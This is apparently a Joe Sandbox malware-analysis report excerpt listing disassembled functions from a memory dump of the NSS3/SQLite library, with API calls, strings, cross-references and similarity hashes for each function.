Function 6CF30F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF31027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF310B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF31353

Strings

'%.*q', xrefs: 6CF31217, 6CF31292
NULL, xrefs: 6CF3119E
%02x, xrefs: 6CF312F6
$, xrefs: 6CF312A0
%lld, xrefs: 6CF3114B
zeroblob(%d), xrefs: 6CF31223
-- , xrefs: 6CF30FF5

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 26ba0fb920c004cf7450e23bc97c941d536169dcac682e200f1cc445e89f9d49
Instruction ID: 807d655bdf2eb9b13252fe4e05a792a4aab767384670ebdc9683b501b5ed0eb3
Opcode Fuzzy Hash: 26ba0fb920c004cf7450e23bc97c941d536169dcac682e200f1cc445e89f9d49
Instruction Fuzzy Hash: 23E1C171A08350EFD714CF14C880AABBBF5BF85348F15992DE9898BB60D775E845CB82

Function 6CF38FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF38FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF390DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF39118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF3915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF391C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF39209

Strings

UUUU, xrefs: 6CF39255
3333, xrefs: 6CF3925E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 0d866310ec190bea64afe59c46d1a3c4e13aac9495cf59d96aceb0700cf646b5
Instruction ID: 77db3bebd1ff562235e6d78a5a613f46cb140fe341c87c1f22c04207509081c2
Opcode Fuzzy Hash: 0d866310ec190bea64afe59c46d1a3c4e13aac9495cf59d96aceb0700cf646b5
Instruction Fuzzy Hash: 81A18272E00125ABDB04CB68CC91BEEB7B5BF48324F094169D919A7751DB3AED01CBE1

Function 6CDF0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDECA30: EnterCriticalSection.KERNEL32(?,?,?,6CE4F9C9,?,6CE4F4DA,6CE4F9C9,?,?,6CE1369A), ref: 6CDECA7A
Part of subcall function 6CDECA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDECB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CDF103E
EnterCriticalSection.KERNEL32(?), ref: 6CDF1139
LeaveCriticalSection.KERNEL32(?), ref: 6CDF1190
sqlite3_free.NSS3(00000000), ref: 6CDF1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CDF126E
sqlite3_free.NSS3(?), ref: 6CDF127F

Strings

winAccess, xrefs: 6CDF129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CDF1267

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 34c0a32d19aefe5b62604b92bf52558da7f036eb45a9b709b47f6c3ab3319855
Instruction ID: 894f13a81206fdf519e8af3c5e2426c9087ea8192b65e0daa7b424a1d38cba55
Opcode Fuzzy Hash: 34c0a32d19aefe5b62604b92bf52558da7f036eb45a9b709b47f6c3ab3319855
Instruction Fuzzy Hash: 917126B1B45201DBEB449F64DC85B6B3775FF86324F16022AE93587AA0DB30D906CB92

Function 6CDFAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF1CF46,?,6CDECDBD,?,6CF1BF31,?,?,?,?,?,?,?), ref: 6CDFB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF1CF46,?,6CDECDBD,?,6CF1BF31), ref: 6CDFB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF1CF46,?,6CDECDBD,?,6CF1BF31), ref: 6CDFB0A2
CloseHandle.KERNEL32(?,?,6CF1CF46,?,6CDECDBD,?,6CF1BF31,?,?,?,?,?,?,?,?,?), ref: 6CDFB100
sqlite3_free.NSS3(?,?,00000002,?,6CF1CF46,?,6CDECDBD,?,6CF1BF31,?,?,?,?,?,?,?), ref: 6CDFB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF1CF46,?,6CDECDBD,?,6CF1BF31), ref: 6CDFB12D

Part of subcall function 6CDE9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CDFC6FD,?,?,?,?,6CE4F965,00000000), ref: 6CDE9F0E
Part of subcall function 6CDE9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE4F965,00000000), ref: 6CDE9F5D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 26eb1b6d905b938495ebfba79db8eeec1fcc39bee9b4df57a2198bb4c3c44c81
Instruction ID: 59d7fad67511c3792eceba2e1b75138a5a8e990a3190bf913f1d6c7cfe43c8b9
Opcode Fuzzy Hash: 26eb1b6d905b938495ebfba79db8eeec1fcc39bee9b4df57a2198bb4c3c44c81
Instruction Fuzzy Hash: 5E9190B1A04205CFEB04CF65C884B6BB7F1BF45308B16462DE46A9BA60E734E956CB51

Function 6CECBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CECBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CECBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CECBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CECBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CECBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CECBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CECBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CECBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CECBE1E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: a43e201486adc947d80b70e4478d57c16c4e88deaed5439ab8594bec88979fb0
Instruction ID: 4d0b3ff2600a216b3fe4c4c530f0d4fbd172a84289f7b96aff7d68a8dae23800
Opcode Fuzzy Hash: a43e201486adc947d80b70e4478d57c16c4e88deaed5439ab8594bec88979fb0
Instruction Fuzzy Hash: 5021A2F6F0429D5BFB008A569E43F8F36789BD1B4DF180128F936EE741E710941886A7

Function 6CF78D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFC14E4,6CF2CC70), ref: 6CF78D47
PR_GetCurrentThread.NSS3 ref: 6CF78D98

Part of subcall function 6CE50F00: PR_GetPageSize.NSS3(6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F1B
Part of subcall function 6CE50F00: PR_NewLogModule.NSS3(clock,6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF78E7B
htons.WSOCK32(?), ref: 6CF78EDB
PR_GetCurrentThread.NSS3 ref: 6CF78F99
PR_GetCurrentThread.NSS3 ref: 6CF7910A

Strings

%u.%u.%u.%u, xrefs: 6CF78E74

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: bc22fd50e57a622542e891fb8358788df7f1ce19bd473e875cf8165544ec972e
Instruction ID: f61b0819faea66d842e04bb42c2a0487afff81162d95950318f814e437236849
Opcode Fuzzy Hash: bc22fd50e57a622542e891fb8358788df7f1ce19bd473e875cf8165544ec972e
Instruction Fuzzy Hash: BB02BB329052518FDB24CF19D4687AABBB3EF42308F1A825FD8915FA91C771DA49C7B0

Function 6CEF68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CEF68FC
PR_EnterMonitor.NSS3 ref: 6CEF6924

Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290AB
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290C9
Part of subcall function 6CF29090: EnterCriticalSection.KERNEL32 ref: 6CF290E5
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF29116
Part of subcall function 6CF29090: LeaveCriticalSection.KERNEL32 ref: 6CF2913F

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

PR_EnterMonitor.NSS3 ref: 6CEF693E
TlsGetValue.KERNEL32 ref: 6CEF6977
TlsGetValue.KERNEL32 ref: 6CEF69B8
PR_ExitMonitor.NSS3 ref: 6CEF6B1E
PR_ExitMonitor.NSS3 ref: 6CEF6B39
TlsGetValue.KERNEL32 ref: 6CEF6B62

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 4beacf346789a16db910c7b755aae0279785c9b024c27284ebd58d9f2fd8ae7b
Instruction ID: b0f774d41136e977c4abe11d64cee4c3e0e3fa5f8c5df357284e39cb3d125851
Opcode Fuzzy Hash: 4beacf346789a16db910c7b755aae0279785c9b024c27284ebd58d9f2fd8ae7b
Instruction Fuzzy Hash: 4F915B74658200CBDB60DF2DC48065E7BBAFBC7308F718259D8649BA29C7759983CB92

Function 6CDFEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CDFF0AB, 6CDFF2DA, 6CDFF757, 6CDFF93E
not authorized, xrefs: 6CDFF957, 6CDFF9BA
view, xrefs: 6CDFF061, 6CDFF071, 6CDFFAB7
sqlite_temp_master, xrefs: 6CDFF0A6, 6CDFF2D5
temporary table name must be unqualified, xrefs: 6CDFF734
authorizer malfunction, xrefs: 6CDFF95C, 6CDFF9BF, 6CDFFA5E, 6CDFFA8B
table, xrefs: 6CDFF05C, 6CDFFABC, 6CDFFAC7
there is already an index named %s, xrefs: 6CDFF9D7
%s %T already exists, xrefs: 6CDFFAC8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: ddca4e8a6fa639a0a54143601a7311c789b2387d7dcc067cf8a9d69644a4fd9b
Instruction ID: 61d9cd37ea28c25b16eba83bf9cef28eed25fabfef4fb8c20aaf72c8d9ca895e
Opcode Fuzzy Hash: ddca4e8a6fa639a0a54143601a7311c789b2387d7dcc067cf8a9d69644a4fd9b
Instruction Fuzzy Hash: 3272A270E04205CFDB14CF68C480BAABBF1BF49308F1681ADD9659BB62D775E856CB90

Function 6CF19C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDEC52B), ref: 6CF19D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF1A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF1A114

Strings

%s at line %d of [%.10s], xrefs: 6CF1A02E, 6CF1A10D
database corruption, xrefs: 6CF1A029, 6CF1A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF1A01F, 6CF1A0E4, 6CF1A0FE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: e41f889a91dc43d5faa6ea9eeb6a0a03bd161bcc82baec1c0c7f29d77e1efedc
Instruction ID: 5706f11d4f9fa40e4d0c838c24403a4abde725d0f930871dcb8879b28fff31b0
Opcode Fuzzy Hash: e41f889a91dc43d5faa6ea9eeb6a0a03bd161bcc82baec1c0c7f29d77e1efedc
Instruction Fuzzy Hash: 0622AC7160C3419FC704CF29C49066BBBE1BFCA344F148A2DE8DA97A51DB35E949CB82

Function 6CE809A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE806A0: TlsGetValue.KERNEL32 ref: 6CE806C2
Part of subcall function 6CE806A0: EnterCriticalSection.KERNEL32(?), ref: 6CE806D6
Part of subcall function 6CE806A0: PR_Unlock.NSS3 ref: 6CE806EB

memcmp.VCRUNTIME140(00000000,6CE69B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CE69B8A,00000000,k-l), ref: 6CE809D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CE69B8A,00000000,k-l), ref: 6CE809F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE69B8A,00000000,k-l), ref: 6CE80A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE69B8A,00000000,k-l), ref: 6CE80A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE69B8A,00000000,k-l), ref: 6CE80A48

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 6fbc48d0a9aa5bb4b99ca218c53d70a04997e2feaab766f7eeb3b788cb89c9df
Instruction ID: 47ad56ca77b1815e2cd9cecc39e38600f345ddb0129bbf9cb4c16377a2e03f81
Opcode Fuzzy Hash: 6fbc48d0a9aa5bb4b99ca218c53d70a04997e2feaab766f7eeb3b788cb89c9df
Instruction Fuzzy Hash: 4B02E2B2E022059FEB108F65DC41BAB77B9FF4831CF244129E919A7B51E731E905CBA1

Function 6CF39D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CDF8637,?,?), ref: 6CF39E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CDF8637), ref: 6CF39ED6

Strings

%s at line %d of [%.10s], xrefs: 6CF39ECF
database corruption, xrefs: 6CF39ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF39EC0

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 44a19440c26c6366b97eb7d5000c609265b1ae1e110cdaf874d5112f2bf13577
Instruction ID: d49eecb911fe49da38643bd32072577fa60c9cdf1a87b3a4aab38efb78ca164b
Opcode Fuzzy Hash: 44a19440c26c6366b97eb7d5000c609265b1ae1e110cdaf874d5112f2bf13577
Instruction Fuzzy Hash: 8881C971B011159FCB04CFAAC880ADEB7F6EF48304B159569D81AAB751DF31DE45CBA0

Function 6CE40820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6CE411D2

Strings

not authorized, xrefs: 6CE4175E, 6CE41763
authorizer malfunction, xrefs: 6CE41BD2
@, xrefs: 6CE40B17
rows deleted, xrefs: 6CE417D2

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: 6a2d7fb6146730235e1bb6c6f4212801058411f71be7038484aa220fd40823ab
Instruction ID: 0fdddf44567e9b99b0df43f8f49cace2b59d02e56dc4be3bc1a4e56b1bc2ae4b
Opcode Fuzzy Hash: 6a2d7fb6146730235e1bb6c6f4212801058411f71be7038484aa220fd40823ab
Instruction Fuzzy Hash: 36D28970E04249CFDB14CFA9D480B9DBBF2BF49308F298269D415ABB51D775E866CB80

Function 6CF0C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CF0CEA5

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: ef7576d46fa1f403a4d91fdaf474f0d5eaffed9e6513f9725e61b617a1ed70bf
